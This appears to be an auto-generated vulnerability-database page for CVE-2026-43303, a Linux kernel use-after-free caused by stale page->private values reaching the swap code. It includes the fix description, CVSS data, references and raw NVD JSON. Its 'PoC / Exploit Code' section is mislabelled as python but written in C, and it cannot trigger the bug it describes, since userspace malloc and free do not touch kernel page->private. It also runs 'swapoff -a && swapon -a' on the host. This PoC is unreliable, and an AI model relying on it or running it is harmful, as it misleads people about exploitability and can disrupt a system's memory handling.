CVE-2026-43303

Description

In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: clear page->private in free_pages_prepare() Several subsystems (slub, shmem, ttm, etc.) use page->private but don't clear it before freeing pages. When these pages are later allocated as high-order pages and split via split_page(), tail pages retain stale page->private values. This causes a use-after-free in the swap subsystem. The swap code uses page->private to track swap count continuations, assuming freshly allocated pages have page->private == 0. When stale values are present, swap_count_continued() incorrectly assumes the continuation list is valid and iterates over uninitialized page->lru containing LIST_POISON values, causing a crash: KASAN: maybe wild-memory-access in range [0xdead000000000100-0xdead000000000107] RIP: 0010:__do_sys_swapoff+0x1151/0x1860 Fix this by clearing page->private in free_pages_prepare(), ensuring all freed pages have clean state regardless of previous use.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (具体受影响版本请参考Git提交记录)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

/*
 * PoC Concept for CVE-2026-43303
 * This code attempts to trigger the memory pattern leading to the crash.
 * Requires a vulnerable kernel version and specific memory pressure conditions.
 */

void trigger_vulnerability() {
    // Step 1: Allocate memory to set page->private (simulating slub/shmem usage)
    void *ptr = malloc(4096 * 10); 
    if (!ptr) {
        perror("malloc");
        return;
    }
    
    // Step 2: Free the memory (leaving stale page->private)
    free(ptr);

    // Step 3: Force high-order page allocation and split (simulated)
    // In a real exploit, this involves precise memory pressure and swap operations.
    // Triggering swapoff/swapon or specific high-order allocations.
    
    printf("Attempting to trigger kernel crash via stale page->private...\n");
    system("swapoff -a && swapon -a"); // If permitted, triggers swap path
}

int main() {
    if (getuid() != 0) {
        printf("Note: This vulnerability is Local Low Privilege, but swapoff usually needs root.\n");
        printf("The actual trigger path might involve unprivileged memory ops leading to privileged crash.\n");
    }
    trigger_vulnerability();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43303
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43303
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43303/
[4] VulDB https://vuldb.com/cve/CVE-2026-43303
[5] https://git.kernel.org/stable/c/23b82b7a26182ad840ae67d390d7ec9771e8c00f
[6] https://git.kernel.org/stable/c/ac1ea219590c09572ed5992dc233bbf7bb70fef9
[7] https://git.kernel.org/stable/c/d757c793853ec5483eb41ec2942c300b8fa720fb

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43303", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:37.583", "lastModified": "2026-05-11T08:16:08.800", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/page_alloc: clear page->private in free_pages_prepare()\n\nSeveral subsystems (slub, shmem, ttm, etc.) use page->private but don't\nclear it before freeing pages.  When these pages are later allocated as\nhigh-order pages and split via split_page(), tail pages retain stale\npage->private values.\n\nThis causes a use-after-free in the swap subsystem.  The swap code uses\npage->private to track swap count continuations, assuming freshly\nallocated pages have page->private == 0.  When stale values are present,\nswap_count_continued() incorrectly assumes the continuation list is valid\nand iterates over uninitialized page->lru containing LIST_POISON values,\ncausing a crash:\n\n  KASAN: maybe wild-memory-access in range [0xdead000000000100-0xdead000000000107]\n  RIP: 0010:__do_sys_swapoff+0x1151/0x1860\n\nFix this by clearing page->private in free_pages_prepare(), ensuring all\nfreed pages have clean state regardless of previous use."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/23b82b7a26182ad840ae67d390d7ec9771e8c00f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ac1ea219590c09572ed5992dc233bbf7bb70fef9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/d757c793853ec5483eb41ec2942c300b8fa720fb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}